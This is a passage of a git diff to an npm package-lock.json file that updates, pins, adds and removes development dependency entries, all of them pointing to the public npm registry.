+ },
+ "locate-path": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+ "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+ "dev": true,
+ "requires": {
+ "p-locate": "3.0.0",
+ "path-exists": "3.0.0"
+ }
+ },
+ "make-dir": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz",
+ "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==",
+ "dev": true,
+ "requires": {
+ "pify": "4.0.1",
+ "semver": "5.7.1"
+ }
+ },
+ "p-limit": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.2.1.tgz",
+ "integrity": "sha512-85Tk+90UCVWvbDavCLKPOLC9vvY8OwEX/RtKF+/1OADJMVlFfEHOiMTPVyxg7mk/dKa+ipdHm0OUkTvCpMTuwg==",
+ "dev": true,
+ "requires": {
+ "p-try": "2.2.0"
+ }
+ },
+ "p-locate": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+ "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+ "dev": true,
+ "requires": {
+ "p-limit": "2.2.1"
+ }
+ },
+ "p-try": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz",
+ "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==",
+ "dev": true
+ },
+ "path-exists": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+ "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
+ "dev": true
+ },
+ "pify": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+ "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==",
+ "dev": true
+ },
+ "pkg-dir": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-3.0.0.tgz",
+ "integrity": "sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==",
+ "dev": true,
+ "requires": {
+ "find-up": "3.0.0"
+ }
+ },
+ "schema-utils": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
+ "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
+ "dev": true,
+ "requires": {
+ "ajv": "6.5.2",
+ "ajv-errors": "1.0.0",
+ "ajv-keywords": "3.2.0"
+ }
+ },
+ "semver": {
+ "version": "5.7.1",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+ "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
+ "dev": true
+ },
+ "source-map": {
+ "version": "0.6.1",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+ "dev": true
+ }
}
},
"text-table": {
@@ -16640,13 +18116,13 @@
"dev": true
},
"through2": {
- "version": "2.0.3",
- "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.3.tgz",
- "integrity": "sha1-AARWmzfHx0ujnEPzzteNGtlBQL4=",
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
"dev": true,
"requires": {
- "readable-stream": "^2.1.5",
- "xtend": "~4.0.1"
+ "readable-stream": "2.3.6",
+ "xtend": "4.0.2"
},
"dependencies": {
"isarray": {
@@ -16656,9 +18132,9 @@
"dev": true
},
"process-nextick-args": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
- "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw==",
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
"dev": true
},
"readable-stream": {
@@ -16667,13 +18143,13 @@
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"dev": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.1",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"string_decoder": {
@@ -16682,24 +18158,24 @@
"integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"dev": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
}
}
},
"thunky": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.0.2.tgz",
- "integrity": "sha1-qGLgGOP7HqLsP85dVWBc9X8kc3E=",
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.0.3.tgz",
+ "integrity": "sha512-YwT8pjmNcAXBZqrubu22P4FYsh2D4dxRmnWBOL8Jk8bUcRUtc5326kx32tuTmFDAZtLOGEVNl8POAR8j896Iow==",
"dev": true
},
"timers-browserify": {
- "version": "2.0.10",
- "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.10.tgz",
- "integrity": "sha512-YvC1SV1XdOUaL6gx5CoGroT3Gu49pK9+TZ38ErPldOWW4j49GI1HKs9DV+KGq/w6y+LZ72W1c8cKz2vzY+qpzg==",
+ "version": "2.0.11",
+ "resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.11.tgz",
+ "integrity": "sha512-60aV6sgJ5YEbzUdn9c8kYGIqOubPoUdqQCul3SBAsRCZ40s6Y5cMcrW4dt3/k/EsbLVJNl9n6Vz3fTc+k2GeKQ==",
"dev": true,
"requires": {
- "setimmediate": "^1.0.4"
+ "setimmediate": "1.0.5"
}
},
"tmp": {
@@ -16708,7 +18184,7 @@
"integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==",
"dev": true,
"requires": {
- "os-tmpdir": "~1.0.2"
+ "os-tmpdir": "1.0.2"
}
},
"to-array": {
@@ -16735,7 +18211,7 @@
"integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
}
},
"to-regex": {
@@ -16744,10 +18220,10 @@
"integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==",
"dev": true,
"requires": {
- "define-property": "^2.0.2",
- "extend-shallow": "^3.0.2",
- "regex-not": "^1.0.2",
- "safe-regex": "^1.1.0"
+ "define-property": "2.0.2",
+ "extend-shallow": "3.0.2",
+ "regex-not": "1.0.2",
+ "safe-regex": "1.1.0"
}
},
"to-regex-range": {
@@ -16756,8 +18232,8 @@
"integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=",
"dev": true,
"requires": {
- "is-number": "^3.0.0",
- "repeat-string": "^1.6.1"
+ "is-number": "3.0.0",
+ "repeat-string": "1.6.1"
},
"dependencies": {
"is-number": {
@@ -16766,7 +18242,7 @@
"integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2"
+ "kind-of": "3.2.2"
}
}
}
@@ -16776,6 +18252,12 @@
"resolved": "https://registry.npmjs.org/toggle-selection/-/toggle-selection-1.0.6.tgz",
"integrity": "sha1-bkWxJj8gF/oKzH2J14sVuL932jI="
},
+ "toidentifier": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz",
+ "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==",
+ "dev": true
+ },
"toposort": {
"version": "1.0.7",
"resolved": "https://registry.npmjs.org/toposort/-/toposort-1.0.7.tgz",
@@ -16788,7 +18270,7 @@
"integrity": "sha512-TZ6TTfI5NtZnuyy/Kecv+CnoROnyXn2DN97LontgQpCwsX2XyLYCC0ENhYkehSOwAp8rTQKc/NUIF7BkQ5rKLA==",
"dev": true,
"requires": {
- "punycode": "^1.4.1"
+ "punycode": "1.4.1"
}
},
"trim-newlines": {
@@ -16807,13 +18289,13 @@
"resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz",
"integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==",
"requires": {
- "glob": "^7.1.2"
+ "glob": "7.1.4"
}
},
"tslib": {
- "version": "1.9.3",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.9.3.tgz",
- "integrity": "sha512-4krF8scpejhaOgqzBEcGM7yDIEfi0/8+8zDRZhNZZ2kjmHJ4hv3zCbQWxoJGz1iw5U0Jl0nma13xzHXcncMavQ==",
+ "version": "1.10.0",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.10.0.tgz",
+ "integrity": "sha512-qOebF53frne81cf0S9B41ByenJ3/IuH8yJKngAX35CmiZySA0khhkovshKK+jGCaMnVomla7gVlIcc3EvKPbTQ==",
"dev": true
},
"tty-browserify": {
@@ -16827,7 +18309,7 @@
"resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
"integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=",
"requires": {
- "safe-buffer": "^5.0.1"
+ "safe-buffer": "5.1.1"
}
},
"tweetnacl": {
@@ -16842,7 +18324,7 @@
"integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=",
"dev": true,
"requires": {
- "prelude-ls": "~1.1.2"
+ "prelude-ls": "1.1.2"
}
},
"type-detect": {
@@ -16852,28 +18334,28 @@
"dev": true
},
"type-is": {
- "version": "1.6.16",
- "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.16.tgz",
- "integrity": "sha512-HRkVv/5qY2G6I8iab9cI7v1bOIdhm94dVjQCPFElW9W+3GeDOSHmy2EBYe4VTApuzolPcmgFTN3ftVJRKR2J9Q==",
+ "version": "1.6.18",
+ "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
+ "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
"dev": true,
"requires": {
"media-typer": "0.3.0",
- "mime-types": "~2.1.18"
+ "mime-types": "2.1.24"
},
"dependencies": {
"mime-db": {
- "version": "1.35.0",
- "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.35.0.tgz",
- "integrity": "sha512-JWT/IcCTsB0Io3AhWUMjRqucrHSPsSf2xKLaRldJVULioggvkJvggZ3VXNNSRkCddE6D+BUI4HEIZIA2OjwIvg==",
+ "version": "1.40.0",
+ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.40.0.tgz",
+ "integrity": "sha512-jYdeOMPy9vnxEqFRRo6ZvTZ8d9oPb+k18PKoYNYUe2stVEBPPwsln/qWzdbmaIvnhZ9v2P+CuecK+fpUfsV2mA==",
"dev": true
},
"mime-types": {
- "version": "2.1.19",
- "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.19.tgz",
- "integrity": "sha512-P1tKYHVSZ6uFo26mtnve4HQFE3koh1UWVkp8YUC+ESBHe945xWSoXuHHiGarDqcEZ+whpCDnlNw5LON0kLo+sw==",
+ "version": "2.1.24",
+ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.24.tgz",
+ "integrity": "sha512-WaFHS3MCl5fapm3oLxU4eYDw77IQM2ACcxQ9RIxfaC3ooc6PFuBMGZZsYpvoXS5D5QTWPieo1jjLdAm3TBP3cQ==",
"dev": true,
"requires": {
- "mime-db": "~1.35.0"
+ "mime-db": "1.40.0"
}
}
}
@@ -16896,9 +18378,9 @@
"dev": true,
"optional": true,
"requires": {
- "source-map": "~0.5.1",
- "uglify-to-browserify": "~1.0.0",
- "yargs": "~3.10.0"
+ "source-map": "0.5.6",
+ "uglify-to-browserify": "1.0.2",
+ "yargs": "3.10.0"
}
},
"uglify-to-browserify": {
@@ -16908,46 +18390,6 @@
"dev": true,
"optional": true
},
- "uglifyjs-webpack-plugin": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/uglifyjs-webpack-plugin/-/uglifyjs-webpack-plugin-1.3.0.tgz",
- "integrity": "sha512-ovHIch0AMlxjD/97j9AYovZxG5wnHOPkL7T1GKochBADp/Zwc44pEWNqpKl1Loupp1WhFg7SlYmHZRUfdAacgw==",
- "dev": true,
- "requires": {
- "cacache": "^10.0.4",
- "find-cache-dir": "^1.0.0",
- "schema-utils": "^0.4.5",
- "serialize-javascript": "^1.4.0",
- "source-map": "^0.6.1",
- "uglify-es": "^3.3.4",
- "webpack-sources": "^1.1.0",
- "worker-farm": "^1.5.2"
- },
- "dependencies": {
- "commander": {
- "version": "2.13.0",
- "resolved": "https://registry.npmjs.org/commander/-/commander-2.13.0.tgz",
- "integrity": "sha512-MVuS359B+YzaWqjCL/c+22gfryv+mCBPHAv3zyVI2GN8EY6IRP8VwtasXn8jyyhvvq84R4ImN1OKRtcbIasjYA==",
- "dev": true
- },
- "source-map": {
- "version": "0.6.1",
- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
- "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
- "dev": true
- },
- "uglify-es": {
- "version": "3.3.9",
- "resolved": "https://registry.npmjs.org/uglify-es/-/uglify-es-3.3.9.tgz",
- "integrity": "sha512-r+MU0rfv4L/0eeW3xZrd16t4NZfK8Ld4SWVglYBb7ez5uXFWHuVRs6xCTrf1yirs9a4j4Y27nn7SRfO6v67XsQ==",
- "dev": true,
- "requires": {
- "commander": "~2.13.0",
- "source-map": "~0.6.1"
- }
- }
- }
- },
"ultron": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/ultron/-/ultron-1.1.1.tgz",
@@ -16959,7 +18401,7 @@
"resolved": "https://registry.npmjs.org/uncontrollable/-/uncontrollable-5.1.0.tgz",
"integrity": "sha512-5FXYaFANKaafg4IVZXUNtGyzsnYEvqlr9wQ3WpZxFpEUxl29A3H6Q4G1Dnnorvq9TGOGATBApWR4YpLAh+F5hw==",
"requires": {
- "invariant": "^2.2.4"
+ "invariant": "2.2.4"
},
"dependencies": {
"invariant": {
@@ -16967,44 +18409,21 @@
"resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz",
"integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==",
"requires": {
- "loose-envify": "^1.0.0"
+ "loose-envify": "1.3.1"
}
}
}
},
"union-value": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.0.tgz",
- "integrity": "sha1-XHHDTLW61dzr4+oM0IIHulqhrqQ=",
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz",
+ "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==",
"dev": true,
"requires": {
- "arr-union": "^3.1.0",
- "get-value": "^2.0.6",
- "is-extendable": "^0.1.1",
- "set-value": "^0.4.3"
- },
- "dependencies": {
- "extend-shallow": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
- "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
- "dev": true,
- "requires": {
- "is-extendable": "^0.1.0"
- }
- },
- "set-value": {
- "version": "0.4.3",
- "resolved": "https://registry.npmjs.org/set-value/-/set-value-0.4.3.tgz",
- "integrity": "sha1-fbCPnT0i3H945Trzw79GZuzfzPE=",
- "dev": true,
- "requires": {
- "extend-shallow": "^2.0.1",
- "is-extendable": "^0.1.1",
- "is-plain-object": "^2.0.1",
- "to-object-path": "^0.3.0"
- }
- }
+ "arr-union": "3.1.0",
+ "get-value": "2.0.6",
+ "is-extendable": "0.1.1",
+ "set-value": "2.0.1"
}
},
"unique-filename": {
@@ -17013,16 +18432,16 @@
"integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==",
"dev": true,
"requires": {
- "unique-slug": "^2.0.0"
+ "unique-slug": "2.0.2"
}
},
"unique-slug": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.1.tgz",
- "integrity": "sha512-n9cU6+gITaVu7VGj1Z8feKMmfAjEAQGhwD9fE3zvpRRa0wEIx8ODYkVGfSc94M2OX00tUFV8wH3zYbm1I8mxFg==",
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz",
+ "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==",
"dev": true,
"requires": {
- "imurmurhash": "^0.1.4"
+ "imurmurhash": "0.1.4"
}
},
"unpipe": {
@@ -17037,8 +18456,8 @@
"integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=",
"dev": true,
"requires": {
- "has-value": "^0.3.1",
- "isobject": "^3.0.0"
+ "has-value": "0.3.1",
+ "isobject": "3.0.1"
},
"dependencies": {
"has-value": {
@@ -17047,9 +18466,9 @@
"integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=",
"dev": true,
"requires": {
- "get-value": "^2.0.3",
- "has-values": "^0.1.4",
- "isobject": "^2.0.0"
+ "get-value": "2.0.6",
+ "has-values": "0.1.4",
+ "isobject": "2.1.0"
},
"dependencies": {
"isobject": {
@@ -17084,9 +18503,9 @@
}
},
"upath": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/upath/-/upath-1.1.0.tgz",
- "integrity": "sha512-bzpH/oBhoS/QI/YtbkqCg6VEiPYjSZtrHQM6/QnJS6OL9pKUFLqb3aFh4Scvwm45+7iAgiMkLhSbaZxUqmrprw==",
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz",
+ "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==",
"dev": true
},
"upper-case": {
@@ -17100,7 +18519,7 @@
"resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz",
"integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==",
"requires": {
- "punycode": "^2.1.0"
+ "punycode": "2.1.1"
},
"dependencies": {
"punycode": {
@@ -17146,9 +18565,9 @@
"integrity": "sha512-dXHkKmw8FhPqu8asTc1puBfe3TehOCo2+RmOOev5suNCIYBcT626kxiWg1NBVkwc4rO8BGa7gP70W7VXuqHrjg==",
"dev": true,
"requires": {
- "loader-utils": "^1.1.0",
- "mime": "^2.0.3",
- "schema-utils": "^1.0.0"
+ "loader-utils": "1.1.0",
+ "mime": "2.3.1",
+ "schema-utils": "1.0.0"
},
"dependencies": {
"loader-utils": {
@@ -17157,9 +18576,9 @@
"integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=",
"dev": true,
"requires": {
- "big.js": "^3.1.3",
- "emojis-list": "^2.0.0",
- "json5": "^0.5.0"
+ "big.js": "3.1.3",
+ "emojis-list": "2.1.0",
+ "json5": "0.5.1"
}
},
"schema-utils": {
@@ -17168,21 +18587,21 @@
"integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
"dev": true,
"requires": {
- "ajv": "^6.1.0",
- "ajv-errors": "^1.0.0",
- "ajv-keywords": "^3.1.0"
+ "ajv": "6.5.2",
+ "ajv-errors": "1.0.0",
+ "ajv-keywords": "3.2.0"
}
}
}
},
"url-parse": {
- "version": "1.4.3",
- "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.4.3.tgz",
- "integrity": "sha512-rh+KuAW36YKo0vClhQzLLveoj8FwPJNu65xLb7Mrt+eZht0IPT0IXgSv8gcMegZ6NvjJUALf6Mf25POlMwD1Fw==",
+ "version": "1.4.7",
+ "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.4.7.tgz",
+ "integrity": "sha512-d3uaVyzDB9tQoSXFvuSUNFibTd9zxd2bkVrDRvF5TmvWWQwqE4lgYJ5m+x1DbecWkw+LK4RNl2CU1hHuOKPVlg==",
"dev": true,
"requires": {
- "querystringify": "^2.0.0",
- "requires-port": "^1.0.0"
+ "querystringify": "2.1.1",
+ "requires-port": "1.0.0"
}
},
"use": {
@@ -17192,27 +18611,19 @@
"dev": true
},
"useragent": {
- "version": "2.2.1",
- "resolved": "https://registry.npmjs.org/useragent/-/useragent-2.2.1.tgz",
- "integrity": "sha1-z1k+9PLRdYdei7ZY6pLhik/QbY4=",
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/useragent/-/useragent-2.3.0.tgz",
+ "integrity": "sha512-4AoH4pxuSvHCjqLO04sU6U/uE65BYza8l/KKBS0b0hnUPWi+cQ2BpeTEwejCSx9SPV5/U03nniDTrWx5NrmKdw==",
"dev": true,
"requires": {
- "lru-cache": "2.2.x",
- "tmp": "0.0.x"
- },
- "dependencies": {
- "lru-cache": {
- "version": "2.2.4",
- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-2.2.4.tgz",
- "integrity": "sha1-bGWGGb7PFAMdDQtZSxYELOTcBj0=",
- "dev": true
- }
+ "lru-cache": "4.1.3",
+ "tmp": "0.0.33"
}
},
"util": {
- "version": "0.10.4",
- "resolved": "https://registry.npmjs.org/util/-/util-0.10.4.tgz",
- "integrity": "sha512-0Pm9hTQ3se5ll1XihRic3FDIku70C+iHUdT/W926rSgHV5QgXsYbKZN8MSC3tJtSkhuROzvsQjAaFENRXr+19A==",
+ "version": "0.11.1",
+ "resolved": "https://registry.npmjs.org/util/-/util-0.11.1.tgz",
+ "integrity": "sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ==",
"dev": true,
"requires": {
"inherits": "2.0.3"
@@ -17229,8 +18640,8 @@
"integrity": "sha512-i+6qA2MPhvoKLuxnJNpXAGhg7HphQOSUq2LKMZD0m15EiskXUkMvKdF4Uui0WYeCUGea+o2cw/ZuwehtfsrNkA==",
"dev": true,
"requires": {
- "define-properties": "^1.1.2",
- "object.getownpropertydescriptors": "^2.0.3"
+ "define-properties": "1.1.3",
+ "object.getownpropertydescriptors": "2.0.3"
}
},
"utila": {
@@ -17252,9 +18663,9 @@
"dev": true
},
"v8-compile-cache": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.0.2.tgz",
- "integrity": "sha512-1wFuMUIM16MDJRCrpbpuEPTUGmM5QMUg0cr3KFwra2XgOgFcPGDQHDh3CszSCD2Zewc/dh/pamNEW8CbfDebUw==",
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.0.3.tgz",
+ "integrity": "sha512-CNmdbwQMBjwr9Gsmohvm0pbL954tJrNzf6gWL3K+QMQf00PF7ERGrEiLgjuU3mKreLC2MeGhUsNV9ybTbLgd3w==",
"dev": true
},
"v8flags": {
@@ -17263,7 +18674,7 @@
"integrity": "sha1-qrGh+jDUX4jdMhFIh1rALAtV5bQ=",
"dev": true,
"requires": {
- "user-home": "^1.1.1"
+ "user-home": "1.1.1"
},
"dependencies": {
"user-home": {
@@ -17279,8 +18690,8 @@
"resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz",
"integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==",
"requires": {
- "spdx-correct": "^3.0.0",
- "spdx-expression-parse": "^3.0.0"
+ "spdx-correct": "3.0.0",
+ "spdx-expression-parse": "3.0.0"
}
},
"value-equal": {
@@ -17299,9 +18710,9 @@
"resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz",
"integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=",
"requires": {
- "assert-plus": "^1.0.0",
+ "assert-plus": "1.0.0",
"core-util-is": "1.0.2",
- "extsprintf": "^1.2.0"
+ "extsprintf": "1.3.0"
}
},
"vis": {
@@ -17309,21 +18720,18 @@
"resolved": "https://registry.npmjs.org/vis/-/vis-4.21.0.tgz",
"integrity": "sha1-3XFji/9/ZJXQC8n0DCU1JhM97Ws=",
"requires": {
- "emitter-component": "^1.1.1",
- "hammerjs": "^2.0.8",
- "keycharm": "^0.2.0",
- "moment": "^2.18.1",
- "propagating-hammerjs": "^1.4.6"
+ "emitter-component": "1.1.1",
+ "hammerjs": "2.0.8",
+ "keycharm": "0.2.0",
+ "moment": "2.24.0",
+ "propagating-hammerjs": "1.4.6"
}
},
"vm-browserify": {
- "version": "0.0.4",
- "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-0.0.4.tgz",
- "integrity": "sha1-XX6kW7755Kb/ZflUOOCofDV9WnM=",
- "dev": true,
- "requires": {
- "indexof": "0.0.1"
- }
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.0.tgz",
+ "integrity": "sha512-iq+S7vZJE60yejDYM0ek6zg308+UZsdtPExWP9VZoCFCz1zkJoXFnAX7aZfd/ZwrkidzdUZL0C/ryW+JwAiIGw==",
+ "dev": true
},
"void-elements": {
"version": "2.0.1",
@@ -17336,7 +18744,7 @@
"resolved": "https://registry.npmjs.org/warning/-/warning-3.0.0.tgz",
"integrity": "sha1-MuU3fLVy3kqwR1O9+IIcAe1gW3w=",
"requires": {
- "loose-envify": "^1.0.0"
+ "loose-envify": "1.3.1"
}
},
"watchpack": {
@@ -17345,9 +18753,9 @@
"integrity": "sha512-i6dHe3EyLjMmDlU1/bGQpEw25XSjkJULPuAVKCbNRefQVq48yXKUpwg538F7AZTf9kyr57zj++pQFltUa5H7yA==",
"dev": true,
"requires": {
- "chokidar": "^2.0.2",
- "graceful-fs": "^4.1.2",
- "neo-async": "^2.5.0"
+ "chokidar": "2.1.8",
+ "graceful-fs": "4.1.11",
+ "neo-async": "2.6.1"
},
"dependencies": {
"anymatch": {
@@ -17356,8 +18764,19 @@
